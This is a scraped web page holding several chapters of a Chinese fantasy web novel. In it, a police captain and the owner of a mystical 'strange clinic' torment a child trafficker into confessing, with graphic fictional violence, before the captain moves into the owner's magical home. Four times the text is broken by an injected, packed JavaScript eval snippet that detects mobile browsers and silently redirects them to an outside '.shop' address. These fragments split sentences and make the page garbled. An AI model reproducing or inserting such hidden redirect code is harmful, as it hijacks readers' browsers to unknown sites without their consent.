;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688901|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘怪奇诊所’进行治疗呢,等治疗结束,能多救一个人出来都是好的。”只有把主谋拿下,才能尽快找到那些分散的鱼虾。 “能让我看看他的治疗吗?”春渐满看着光在抽搐但是完全没睁眼迹象的翟乐成,知道他应该跟自己一样,进入了幻境。 “想什么呢小弟,你可看不了他的治疗,别说你,我也看不了,实话跟你说吧,这些罪犯只有以其人之道……才能有点儿醒悟。”独孤尽无奈地感慨。 “所以啊,你如果要看他的治疗,就会通过视觉看到那些恶行,虽然不能切实感受到那些痛苦,但我们人类是会自发感知对方的痛苦的,所以看不得。”独孤尽走到窗边朝外面看了看,现在应该已经晚上了,他都有点肚子饿了,只不过这里受他影响才会看起来时间并为流动。 “我们能做的,就是填饱肚子,等治疗结束。”独孤尽其实吃不下东西,他跟春渐满说的话里有一半都是假的。 他能全局操控治疗,也能看到治疗,他的手下虽然事事都喜欢找他救急,但他真要下达什么命令,无一敢反抗。 他有办法让春渐满看到治疗的全过程,但他不忍再有一个人目睹这些残忍行径。 “我不饿!”春渐满扯了张椅子坐到独孤尽对面,他现在一点东西都吃不下,只想弄明白这个治疗到底是什么。 “做人不能好奇心太重,俗话听说过吧,好奇心害死猫。”独孤尽不知道从哪变出块草莓蛋糕,推到春渐满面前。 “你还敢吃这里的东西?!”春渐满真是闹不明白,这种穷凶极恶之徒经营的餐厅,搞不好餐品里放了违禁的东西,便于控制人,进行犯罪。 “吃吧,没毒,每天来这吃东西的人那么多,你见谁出事了吗?只有被盯上的孩子,他才会下药。”独孤尽摇摇头,“倒不如说,因为怕被查,这里的东西没啥添加剂,很健康很安全,所以味道不咋地。” “……”即便如此,春渐满也没心思吃。 但他又不愿再跟独孤尽费口舌,只能干坐着。 人类对时间的感知是不准确的,除非借助工具,但就算这样,春渐满也知道这里的时间很不对劲,都等到他犯困了,独孤尽所说的治疗还没结束。 “还要多久?” 独孤尽也隐约觉得不对劲,以往治疗进行到这种程度,心理问题再大的罪犯都会因为承受不住堪比地狱的惩罚而早早交代罪行,只求一死。 可翟乐成不一样,他从一开始的屁滚尿流到现在,反而练出抗性了,如若他再不入局进行干预,事态就严峻了。 “你在这等着,我去看看。”独孤尽的脸拉得老长,竟生出了一种少年老成的成熟感。 “我跟你一起!”春渐满话音刚落,就迎来熟悉的神魂被抽离的失重感。 独孤尽根本就不打算带春渐满,也没回应他,却不料他入局后,裤腰上多了个挂件。 这挂件不是别的,正是变得只有手掌大小的春渐满! 5. 以毒攻毒 独孤尽低头眼睛眨巴两下,不敢置信自己裤腰上挂了个人,迟迟没伸手碰一下,直到春渐满双脚往下用力蹬,试图从他裤腰上下去。 “诶,别!别摔了!”如果春渐满从这个高度掉下去,铁定摔成泥,直接粉碎性骨折无疑了。 实在无法,独孤尽伸手托了一下春渐满,把他从裤腰上解下,握在手心里。 这么一看,他这手有点像如来佛的手了,掌心里的是孙悟空。 “还笑?抓紧时间!”春渐满倒是不太在意自己这种形态,毕竟他现在已经见怪不怪了,既然他的身体无法进入幻境,灵魂以什么样的状态过来都不足为奇。 “是……喂!到底你是老大我是老大啊!”独孤尽下意识应声,又忍不住抱怨一句,但他小弟说的没错,当务之急是赶紧把翟乐成控制住。 可不能让那人渣再升级了! 此刻幻境已不再是普通的街道日常场景,而是如炼狱一般,到处都是火焰。 “蛊雕,九尾狐,速速来见。”独孤尽用另一只手朝虚空里挥了两下,蛊雕和九尾狐就都单膝跪地拜在了他面前。 “主人!” “阿尽!” “发生了何事?”独孤尽向前走了两步,捻起一朵火焰,吹出一枝玫瑰,曲直一弹又将其投入火焰之中。 “主人……那个人类……”蛊雕不知道该怎么描述那令人匪夷所思的一切。 独孤尽轻叹口气,曲指在蛊雕头顶点了点,抽取了这个时段的记忆,又用同样的动作抽取了九尾狐的记忆,才拍拍春渐满,把记忆分享过去。 原来在春渐满找过来的这段时间里,蛊雕和九尾狐已经升级治疗,把翟乐成的灵魂捏成曾经被他谋害的孩童,让他亲身经历那些痛苦又绝望的时刻。 正常来说,以往那些罪犯在其他环节可能还没那么恐惧,但只要变成自己谋害过的那些受害者,而对他痛下毒手的人正是自己,那么这些罪犯都会感到无限恐惧,因为他们知道作为凶手的自己接下来的举动有多骇人,再这种预知下,还无法逃脱必须经历,是极为考验人心神的。 翟乐成这个人渣恰恰相反,在一开始,强烈的痛楚让他的精神多次崩溃,可当治疗进行到这个阶段,反而如鱼得水起来,他是真心觉得自己是救世主,这些小孩本就不爱呆在原先的家庭,他是大发慈悲的神明,让这些小孩如愿以偿。 至于这些小孩最后的下场,他也认为是殉道,所以以往屡试不爽的治疗手段,对他来说,不仅没用,反而一步步增强了他的神魂。 “怎么会有这样的人?!他的脑子到底是什么做的?!”春渐满越看越愤怒,小拳头在独孤尽掌心里猛捶了几下。 “说他的脑子是用水做的那都是在侮辱水。”独孤尽眸光微敛,声音里满是叹息,“看来要用那招了。” “哪招?你别以身犯险,因为这种人不值得!”春渐满听出独孤尽话里的决绝之意,顿时紧张起来。 “为他当然不值,但为那么多孩童,那么多家庭,值的。”独孤尽语气淡淡,他抓起春渐满把他揣进自己上衣口袋,轻揉了几下脑袋,“乖乖抓紧衣服,别掉出来。” 没废多大力气,独孤尽就侵入了翟乐成的记忆,原来翟乐成的第一次人口贩卖卖得竟然是自己的女儿,作为继承了十成十传统糟粕的他,一直想要个儿子,所以老婆生一个女儿,他就卖一个。 每次,都对家里称女儿是被人拐丢了,翟乐成的老婆在生第二个、第三个女儿时,都一再对孩子进行了严格的戒备心教育,让她们坚决不能相信陌生人,出门在外一定要牵着大人的手。 可二女儿、三女儿也都相继失踪。 报案后,有人怀疑过是熟人作案,却没人敢怀疑到这个做父亲的身上,他们不敢相信人性会有这么恶。 也正是因此,一次次找不到切实证据,翟乐成没得到应有的惩罚,便变本加厉。 独孤尽本想在翟乐成的记忆找到翟乐成的弱点,无论是再穷凶极恶的人,心里总有那么一块地方是柔软的,可独孤尽翻了半天,都没在翟乐成心里找到那么一个弱点。 从先前的治疗来看,他好像最在意的只有他自己,只有他自己受到的伤害那才是伤害。 怎么会有这样的存在? 此刻,独孤尽和春渐满心里都浮出了这个让人不寒而栗的念头。 “小弟,实在是没办法了,接下来我要做一些惨无人道的行为,你要不还是别看了。”独孤尽伸手捂了一下心口处的春渐满。 “虽然我的身份让我不该讲这种话,但我支持你。”春渐满看完翟乐成的记忆,对这个人渣的渣度有了更清晰的认知。 独孤尽只是挥了挥手,幻境中的那些火焰就全都消失殆尽了,这个空间变得灰白,空无一物。 蛊雕和九尾狐低垂着头站在独孤尽身后,静待他们的主人吩咐。 “蛊雕,将他的头扭断。” 春渐满差点从独孤尽口袋里跳出来,感受到口袋里的动静,独孤尽拍了拍春渐满的脑袋,“在这里的只是魂体,不会真的死。” 即便如此,春渐满也从未见过如此骇人的一幕。 蛊雕毕竟不是人类,扭头的动作干净利落,为了泄愤,在他断开的脖颈处还狠命戳了几下,本就喷射着的鲜血这下喷得更汹涌了。 翟乐成想要叫喊出声,但他的脑袋在蛊雕手上,下巴还被卸了,还未死绝的大脑不断传递着疼痛的信息,但很快,痛苦会被麻木取代。 独孤尽点点头,“接回去吧,再来一次。” 蛊雕似乎乐此不疲。 “九尾狐,用你最蛊惑人心的术法给他洗脑。”独孤尽准备以毒攻毒,既然他这么喜欢洗脑,那么就别怪他用魔法打败魔法了。 “哇!还是阿尽聪明啊,看我的吧!”九尾狐摇身一变成了地狱之主,黑色的鸦羽包裹着她如雪的肌肤,摄魂夺魄的鲜艳红唇中吐露出蛊惑之语。 “翟乐成,干得不错,天神已知汝为他所做,汝也通过了天神专为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688902|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汝布置的试炼,现速速了结凡间事,来仙界成就大事业!” “汝可还记得凡间所做伟业,桩桩件件不可缺漏,出去后,交待清楚,让凡间人处理汝之肉身,速来仙界,吾等汝!” “汝可听见了?” “听见眨眼。” 春渐满嘴角抽了抽,“这能有用吗?他能被这种鬼话骗到?” 他现在整个人都埋在独孤尽的口袋里,他可不想看那些血腥画面,不然他归队后,心理测试百分之百无法通过。 独孤尽其实也是背身而立的,虽然从背面看他足够冷酷,气场也有八米高,可他的指尖在发颤,他并非什么施暴者,虽翟乐成被这么对待足够解气,但让他直面这种血腥画面,还是太过了。 “蛊雕,他可眨眼了?”因无法直视翟乐成的断头,独孤尽只能梗着脖子,语气僵硬。 “主人,您看。”蛊雕满心欢喜,这个翟乐成总算是服软了,愿意出去供述自己的所有罪行,虽然这当中九尾狐帮了他很多,但他把这家伙的皮扒了,骨头也抽了,因为疼痛抽搐不止的一块块血肉也被他捏爆了,当真痛快。 独孤尽骇得赶紧阂上了眼皮,以后还是不要让蛊雕执行任务了,他还是适合呆在画里闲置。 九尾狐跟独孤尽出行任务的次数最多,她见蛊雕犯蠢,无奈地翻了个白眼,却还不忘保持自己的天神人设。 “试炼结束!切记,莫要错过吉时。” 独孤尽心念一转,幻境即散,蛊雕和九尾狐也重新恢复成了人类的模样。 所有人都回归现实,这四人仍旧坐在一开始的餐桌旁。 春渐满出了一身冷汗,许是灵魂抽离对他来说有着无法预知的影响,他现在脸色惨白。 独孤尽立马递了一杯热可可过去,“喝一点。” “多谢……”春渐满深吸口气,灌下半杯热饮才舒畅点,他再次郑重跟独孤尽道谢,“我代大家跟你说声谢谢,真的谢谢。” “不必,把你同行的那位叫上,快去完成任务吧。”独孤尽怕迟则生变。 守在门外的邱游见自家队长风风火火就从店里冲了出来,下意识摸到腰后,配枪即将上膛却被队长按住,“走,跟我去逮捕假借‘蛊雕’名号,实施拐卖儿童的幕后黑手。” “诶?春队!等等!逮捕证批了吗?” “程序啊,要走程序啊!” “上面给过我特权,可以先斩后奏,程序晚点我会补全,当务之急,把案子结了!”春渐满知道时间的重要性,等翟乐成反应过来,就真没人能把他怎么样了。 “主人,他们上去抓人了,我们还吃吗?”蛊雕瞥了眼急匆匆冲进店里的两人。 “吃屁吃,这里东西这么难吃,回家,我们吃大餐!”独孤尽恢复以往公子哥的吊儿郎当模样,伸腿踹了一下桌子,打了个响指,直接打包两位家属,回了自己的地盘。 至于他新收的小弟,想来案子结完,他就该自己送上门来了。 他等着。 6. 暂时停职 春渐满很少会有这么冲动的时候,可当他带着邱游闯进二楼的休息室,看到翟乐成已然恢复成常态,对他们闯进来逮捕他甚至还有一丝兴奋。 那眼里的意思再明显不过,赶紧把他带走,他还要去神明身边报道。 春渐满在心底嗤笑一声,尽量面不改色给他扣上银手铐。 “你们的车太慢了,开我的吧。”翟乐成还记着要尽快完成凡间事,不能耽误吉时。 “车再快也有限速。”春渐满冷冷拒绝。 “现在街上就没几个人,超速又怎么了?你俩快点,摸摸蹭蹭的,耽误老子时间。”以前的翟乐成还会为了隐藏自己的身份夹着尾巴做人,起码从外表上看还是人模狗样的,可现在,他一心求死,根本用不着再伪装自己。 “春队……我们没抓错人吧?他怎么看起来脑子有点问题啊,别到时候弄个精神疾病,给他释放了。”邱游拉过春渐满,悄咪咪凑到他耳边小声嘟囔。 “放心,他绝对不会被查出来精神问题。”这种垃圾连半点儿悔过的意思都没有,怎么可能精神出问题。 最终,翟乐成还是没能在交通工具上提速,但他一到地方,根本不用别人审问,直接就滔滔不绝将他多年的犯罪行为全都供述了。 原本有些他都记不清了,毕竟经手了这么多起,他早已麻木,这种事情对他来说就像吃饭喝水一样平常,可经由“怪奇诊所”的一顿治疗,他那些被埋藏的记忆全都翻新了。 “春队,这个翟乐成,不会在跟我们编故事吧?但这故事也编得太有模有样了,而且很多细节跟我们已有的案宗也对得上,太离谱了吧。” “他的口供中不是有最新失踪案的线索吗?赶紧派人过去。”春渐满一直在旁边盯着,就怕出意外。 很快,春渐满抓获了重大拐卖案的主犯,这个主犯还滔滔不绝把自己的罪行全部供述,并且期望立刻执行死刑的传奇事件就传得人尽皆知了。 不过翟乐成供述时的神态太过诡异,并且他的作案手法令人发指,即便他认罪态度良好,也没人同情他。 “春队,你不会找高人给他下降头了吧?”还是不免有同事从旁揣测。 “少说那些莫须有的,你就说他供述的那些,我们是不是都拿到切实证据了。”春渐满莫名有点心虚。 “就是都拿到证据了才觉得奇怪啊,有些案件都已经是陈芝麻烂谷子了,按理说不可能还保有证据,他怎么就能把证据双手奉上呢?”同事觉得更蹊跷了。 “……悬案跟多了吧?这次的案件本来也是悬案,这么多年,我们折损了多少无辜孩童,能早日结案你还疑神疑鬼起来了?”春渐满没好气地收拾好档案袋,重重往桌上一拍。 “是,是,这倒是,能早日结案总是好的。” “春渐满,你过来一下。”春渐满闻声就看到领导朝他招手,只能梗着脖子进入会客厅。 “这是邓局,上面特派过来了解这次案件情况的。邓局,这是我们这边最能干的青年才俊,春渐满,这次的案件您有什么想要了解的,他一定知无不言。”领导脸上是有点骄傲的笑容,春渐满确实是他见过最踏实肯干,聪明又有正义感的年轻后辈。 “邓局您好,有什么想了解的案件细节都可以问我。” “小春啊,我就不绕弯子了,现在国家高度重视的这个‘怪奇诊所’,你知道吧?”许是来得匆忙,邓局喝了口茶,脸色才缓和了些。 “知道。”春渐满没隐瞒,可他不知道邓局究竟要问他什么,他现在的身份比较尴尬,他视独孤尽为恩人,断然不可能做背叛之事,但他毕竟是国家的人,如果‘怪奇诊所’做了什么恶事,他一定要好好劝劝独孤尽。 “多地都有他们的传闻,但据我们了解到的情况,进过‘怪奇诊所’的大部分都是这些犯罪者,而且这些犯罪者的行为都很一致,有些是自首,有些被抓了就直接供述犯罪事实,但是对这个‘怪奇诊所’,他们很统一,绝口不提。”邓局疲惫地揉揉太阳穴。 他是听说锦荷市这边破了一起重大拐卖案,而罪犯认罪的情况跟那些接触过“怪奇诊所”的人一样,既然机会送到眼前了,他必须抓住。 “……按您这么说,‘怪奇诊所’反倒是在做好事了?”春渐满沉下心,他不希望自己表现出什么端倪,给独孤尽惹麻烦。 这么看来,他跟那些接触过“怪奇诊所”的人也没什么区别,都是自发自愿地隐瞒。 “诶,不能这么说,如果‘怪奇诊所’只接触犯罪者,帮助犯罪者认清自己的罪行让他们悔过,我们也不会这么紧张。”邓局轻咳两下,他神色微妙地叹了口气,“‘怪奇诊所’还会让普通人进他们那个据说是什么副本的地方,进行改造。” “改造?”春渐满这次是真惊到了。 “对,改造,进行了什么改造具体我们也不太清楚,但每个出副本的人都说他们变强了。” “……”春渐满听得很沉默,他直觉独孤尽不会干什么毁灭人道的事,而且看他的状态,也没有做救世主的意思。 不过,接触了这么多案件,他明白一件事,知人知面不知心。 “小春,你是不是知道什么?”邓局毕竟吃得盐都比春渐满吃的饭多,一下就察觉到了春渐满的神游。 “我确实没有线索。”春渐满本还在考虑要不要将自己成了人家“怪奇诊所”里一员的事说出来,可他突然发现,自己根本不知道要怎么联系独孤尽。 他们俩连个联系方式都没留。 甚至连独孤尽这个名字,他都不确定是不是对方的真名。 “春渐满,你当真不知道?邱游可是跟我说他发现了‘怪奇诊所’立马汇报给你,你进去就把这个重大拐卖案的主谋给抓了。” 面对领导的质问,春渐满镇定自若,“那您也应该知道,那是一家叫‘怪奇诊所’的主题餐厅。” “春渐满!你知不知道知情不报可以停你职!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688903|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诶,年轻人可能有年轻人的想法,指不定什么时候就想通了。”邓局打起圆场,现在来看,这个春渐满肯定知道什么。 就看他什么时候愿意说了。 “曹局,既然您要停我职,那我正好休息一段时间。”春渐满冲他家局长鞠了一躬,又冲邓局鞠了一躬,才摘下警帽,当着两人面就把自己的制服、配枪、证件……全部上交。 “春渐满!你别以为你立了大功,我就不会生气!”曹局万万没想到春渐满这个他一向看好的,从来做事都很沉稳的小伙子怎么会在这种关键时刻拆他台。 “曹局,您不就是生气了才要停我职吗?用人不疑,疑人不用,既然我在两位局长心里已经存疑,那我甘愿接受处罚。”春渐满甩下特别不符合他平时作风的话,径直离开了会客厅。 这下可好,原本还在门外竖着耳朵听八卦的众人纷纷撞见了春渐满衣衫不整的样子。 “邱游,你跟其他队员说一声,我暂时停职,别担心,我有别的任务要去执行。” 春渐满从柜子里找到一套运动服胡乱套上,活动了一下因连日加班格外僵硬的肩背,潇洒地冲众人一挥手就离开了牛马职场。 室外雨过天晴,太阳正毒,暑气很快就蒸腾了他一身汗,春渐满站在路边上,看着来来往往的行人,这些人多久没敢出门见过太阳了啊。 现在好了,案件了结,再也不用人心惶惶,夜不能寐了。 初次登门,两手空空可不像样子,他得带点伴手礼。 “您好,欢迎光临。”春渐满决定买瓶红酒,也能算是喝了独孤尽一口红酒的赔礼了。 “给我包两瓶大拉菲。” “先生,请问您要哪个年份的?” 虽然春渐满很想说一句八二年的,但想了想自己的钱包,又想了想独孤尽的为人应该不会计较这些,“最便宜的就行。” “……好的先生,支付宝还是微信?”店员虽然微愣,但还是很快保持了职业笑容。 “支付宝。” 揣上两瓶包装精美的红酒,春渐满找了个街角,仰面朝天开始翻白眼。 如果他没记错的话,当时独孤尽就是在那两人做这个动作后出现的。 翻得眼睛都酸了,独孤尽也没出现,春渐满逐渐焦躁起来。 “独孤尽!不是让我搬过去住吗?你倒是告诉我住址啊!”春渐满忍无可忍,踹了树干一脚。 “靠!谁又召唤我?!好像有点耳熟……”独孤尽正躺在沙滩边晒他的日光浴,柠檬冰水喝着,难得享受他工作间隙的悠闲,就被召唤打断。 他愤愤起身,草草披上大花衬衫,踢了一脚沙子,应召闪现在了春渐满面前。 “你是从树里蹦出来的吗?”春渐满确实被面前突然出现的人给吓到了,上次他先迎接到的是红酒,可这次,他俩差点就脸贴脸了。 独孤尽赶忙后退一步,清清嗓子,“我新收的小弟,找我什么事?你最好有事。” 7. 潘多拉魔堡 “不是让我辞了工作,搬去你家?”春渐满见独孤尽夸张地后撤一大步,挑了挑眉,向前迈了一步,逼近独孤尽。 他比独孤尽要稍微矮上那么几厘米,但胜在气场比独孤尽强。 “你真辞了?”独孤尽见自己后背快被逼得抵到树上了,干脆单手扶住树干撑了一下,跃上了树杈,坐在树上俯视春渐满。 春渐满还没见过谁爬树像独孤尽这么干净利落的,没有一点多余动作,也不需要丈量高度,像使出了武侠小说里的轻功。 “你这招叫什么?”春渐满站在树下仰面望着颇不自在的独孤尽,抬手握住这人脚踝,果不其然感受到他不可置信在微颤。 没来由心情好了点,他唇角上扬,手上用了点力气,把独孤尽往树下拽。 “过分了啊小弟!哪有你这样的?还有没有一点小弟的自觉?!”独孤尽被拽得身形不稳,他脸上浮现出一丝慌乱。 “告诉我,你是怎么凭空出现的?”春渐满像是爱上了这种私刑,看着独孤尽在那像只小松鼠一样摇摇晃晃,挺有趣的。 “这里不是说话的地方,跟我走,回家跟你说。”独孤尽说罢也不管自己的脚踝还在春渐满手里了,直接重心前倾向下朝春渐满扑过去。 春渐满没料到独孤尽会用这种极其危险的姿势跳下树,如果他没接住人,绝对要受伤,可就在他松开手,张开双臂准备迎接的瞬间,眼前的世界就像坏掉的老式电视机,一瞬失去影像,再次显现时,已经换台。 “恭迎主人!”齐刷刷地欢迎之声排山倒海充斥过来,春渐满下意识抬手捂住耳朵,诧异地瞥了独孤尽一眼。 “这种声浪你也受得住?” “受不住也要习惯,你也习惯习惯,以后经常能听到,虽然他们欢迎的不是你。”独孤尽抻了抻腿,虽然现在自己的脚不在小弟手里了,但总觉得脚踝还被他抓着似的,怎么这么别扭呢。 “这就是你家?”春渐满环视了一下四周,一时间不知道怎么形容自己此刻的心情。 独孤尽的住所不太像给人类住的地方,虽然他作为人类感受不到仙气、魔气、灵力这种东西,但他就觉得这里魔气满满。 这是一片以黑红色为主调的地方,大得足有几个足球场那么大,有点儿一望无际的意思,但他刚刚走了一步就发现这里并非只是空旷的场地,就像有障眼法一样,只有他走到那块区域,才能看到它的真实面貌。 独孤尽好像没春渐满的困扰,他在这片肉眼看上去很空旷种满了黑红花朵的土地上轻车熟路带着人往前,走上楼梯。 在不知道绕过了多少个黢黑喷泉池后,独孤尽终于停在了一间布满黑色荆棘与鲜艳玫瑰的别墅前。 从春渐满的角度看,这间别墅跟直接长在了空中一样,他只能看到自己脚下的一方土地,其它他们刚刚走过的那些路,都又变回了虚无。 “跟我住一起?还是你想自己重新住一间?”独孤尽极其希望他找回来的这个牛马人能跟他住一起,他一个人呆着实在是太无聊了,当然他是指没有执行任务的时候。 “跟你一起。”春渐满觉得自己别无选择,如果他要自己住一间,恐怕他要先把这里的路背板背下来。 “那你过来点,站那么远干什么,来,录一下指纹。”独孤尽朝春渐满招招手,这扇门上竟然还有电子锁的屏幕。 春渐满一时间被这种虚幻与现实的结合弄得有点儿无语,太荒诞了。 “你不是这里的老大吗?还需要密码?” “老大归老大,也会有自己的隐私呀。”独孤尽有些心虚,他才不会说,如果没有这道指纹锁,他就得不断被各种神兽打扰。 他是觉得一个人无聊,但这些神兽来找他,基本上没有好事,有些心智还像孩子一样,他都让九尾狐去办学校,统一进行教学了。 独孤尽刚跟春渐满进门,大门才关上,就听到了敲门声。 春渐满好奇地看着独孤尽一溜烟蹿离了门口,蹦到沙发上躺了下来,沙发扶手上还有一副看起来极其烧钱的耳机,现在已经被他戴在了耳朵上。 就这样放任不管? 春渐满又看了门口几眼,这门上连个猫眼都没有,整间房里也没有窗户。 虽没窗户,却有风。 经过独孤尽身边的时候他看着已经闭上眼睛的人,无情地摘下他的耳机,“我睡哪?” “你爱睡哪睡哪,别跟我抢沙发就行。”独孤尽发现敲门声越来越响,一把抢回耳机,重新戴上。 春渐满倒是没自作主张地去开门,但让他就这么一直听着敲门声他也有点受不了,索性这间别墅比他想得大很多,从大厅绕着旋转楼梯往上,他足足走了五层才停下来。 他发现这里一尘不染,不是由人精心打扫过的一尘不染,而是这里本就不染尘埃。 他走上楼该有的痕迹也没有留下。 春渐满从口袋里摸出一卷胶带,在扶手上印了一下,他刚才用手摸过的地方连指纹都没留下。 这是一个可以实现完美犯罪的空间,像潘多拉的魔盒一样,到底是什么样的人才能守住底线,不触碰红线? 五楼有几个房间,他没数清,不仅数不清房间,他探身往上看了看,连这楼梯向上最高有多高,他都看不清。 明明刚才在屋外时,这间别墅只是正常三层别墅的大小。 五六百平最多了。 明明往上就听不见敲门声了,独孤尽为什么要在离大门那么近沙发上呆着?还掩耳盗铃地戴个耳机放音乐。 春渐满随意推开一扇房门,那是一片虚无的空间,在他踏入时,竟变成了他常住的队里宿舍的模样。 春渐满大胆猜测了一下,这里可以由他所想所思控制。 很快,这个念头就得到了证实,他像无师自通了什么法术,房间的装潢、床的款式……包括摆放位置都不要他动手,只要在脑海里想一下,就直接变成了现实。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688904|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >春渐满渐入佳境,他闭上双眸,又想象了一下自己回到了大厅,还没睁开眼,他就听到了耳边如雷鼓的敲门声。 忍无可忍,他把独孤尽从沙发上拽起来,“你为什么不去楼上,这里太吵了!” “哎呀你别管了,我要是去楼上,门外的家伙就不只是敲门这么简单了。”独孤尽被迫摘掉耳机,很不适应这震天响的敲门声,整张脸都皱起来。 “开门,解决。”春渐满想不明白究竟有什么事值得这么逃避,难不成是桃花债? “我不!”独孤尽从沙发上站起来,踩在扶手上,比春渐满高出半个身子。 没等春渐满再问,门外一直契而不舍的敲门声居然停了。 “呼……终于……”独孤尽拍拍胸口,抬手凭空拿出一杯气泡水递给春渐满,“喝点压压惊,你也不容易,刚来就撞上这事。” “那到底是什么?”春渐满不急着喝东西,他现在就想把自己一肚子的困惑全问完。 “应该是期末考结束,让我去宣读他们的成绩。”独孤尽摆摆手,“小弟你别一脸问号了,怪吓人的。” “你应该已经知道了吧,这里只要是你心里想的,都会具像化,所以啊,别想什么呃……没什么。”独孤尽本想让春渐满别想什么恐怖的东西,不然多恐怖的东西都会出现。 但他突然想起来,人就是越不让他想,越容易想,赶忙住了口。 “首先,我很感谢你信任我,其次,你这个适应能力也真挺强,不愧是我看中的小弟。”独孤尽自顾自举杯在春渐满杯子上碰了几下。 “说实在的,我都不知道自己还算不算人类,有的时候挺郁郁的,不过现在好了,你自己非要喝我的酒,你跟我是同类了。” “酒……”春渐满看着自己空空的两手,他之前买的酒放在脚边没能跟他一起过来。 这酒……白买了……也不知道会便宜哪个流浪汉。 “来,带你看看我的那幅宝贝画儿。”独孤尽拍拍双手,眼前的一面白墙上就出现了一幅白色的画。 “就是它。”独孤尽指着画框右下角的位置,“你看这里,‘怪奇诊所’,诶,就是它,我就是鬼迷心窍了,非要买这幅画。” “一个亿啊,我拿这一个亿干什么不好,非要买幅画,你说说看,我脑子是不是抽了。” “不过这一个亿本来也不是我的,是遗产,所以我拿着也没什么实感,但这幅画,你别看它现在是空白的,之前可神奇了,不同角度,不同光线,里面会显现不同的神兽。” “就因为这样,我才非要买它。”独孤尽像是喝气泡水喝醉了,眼底竟泛出了些水光,语气也低沉下去,像一只蔫头耷脑的小狗。 “我找过画展的承办人、赞助商,想知道这幅画的作者,可我问他们,他们都说场馆里就没登记过这幅画,根本不存在,我的钱也是不翼而飞的。”独孤尽越说越愁苦,他捂着脸痛苦地趴在沙发上,几乎看不见他脸上的表情。 8. 画中神兽 “监控呢?布展时总要有人把画搬过去。”春渐满拎着独孤尽的后领,把他从沙发里拖出来。 独孤尽满眼哀怨,原本还挺干净的头发上长出了灰白的蘑菇,大大小小,有的胖乎乎,有的长条状像鸡腿菇,看着还有点让人起食欲,想薅下来涮火锅。 “十几个人翻了三遍监控,我自己也仔仔细细看了,就是没有‘怪奇诊所’上墙的画面,它就是凭空出现的。”独孤尽拿起茶几上的平板,把那几个监控视频的存档亮给春渐满看。 “那你的钱,总要跟人交易吧?”春渐满点开视频,试图找到些许痕迹。 “……你且听我跟你慢慢说。”独孤尽干脆站起来比划,“当时这画就在墙上,可能吧,可能只有我能看到,我想找人买这幅画,这个流程没问题对吧?”独孤尽用两个手指作小人奔跑,“诶,这画它就长了腿了,直接就到我脑子里去了。” “可能说脑子不准确,就是跑到咱们现在在的这个空间里了。”独孤尽指指自己,“而我,也进到这里来了。” “按理说,这种情况下,也没有人刷我的卡,我也没去银行办转账手续,这个钱,这么一大笔钱,它不可能不翼而飞的对吧?” “它就是这么不翼而飞了,从我账户里直接消失了,不曾存在一样。” “我本来也没活得像现在这么凄惨,我还有点儿零花呢,那些年存的,虽然不多,几百万还是有的,可是吧,小弟,这个画,它里面有那么多神兽,它们在我买下画之后,就都认了我当主人。” 独孤尽再次闭上了双眸,重新跌坐回沙发里,“这个主人也不是我想当的,那都是我见都没见过的神兽。” “想来,不仅我没见过,你也应该没见过吧。你别看九尾狐长得好看,其他的,虽然好看的也有,但是大部分都是长得……”独孤尽试图跟春渐满形象表达一下,手倒腾来倒腾去,硬是没法比划。 “很多都是那样的……那样的……你懂吧,容易做噩梦的。” “但它们都很盲目,不知道是不是我跟这画缔结了什么契约,它们就觉得我神通广大,是至高无上的存在,可是我就一普普通通大学毕业拿着家里的钱混吃等死的富二代啊。” 独孤尽长叹一声,极其符合他口中混吃等死富二代的形象,躺倒在沙发上,只会呼气吸气。 “这个‘怪奇诊所’,让你抓犯罪者进行治疗?它会显示文字信息吗?”春渐满踱步到那幅现在看起来一片空白的画跟前,伸手试图触摸,却被什么挡住了手。 “不会,没有文字信息,但会有预示,直接显现在我脑海里,哪里碰到什么案件了,遇到什么情况了,都直接跑我脑袋里。”独孤尽脑袋上的蘑菇长得更茂盛了,已经能做一顶帽子。 “你的睡眠……” 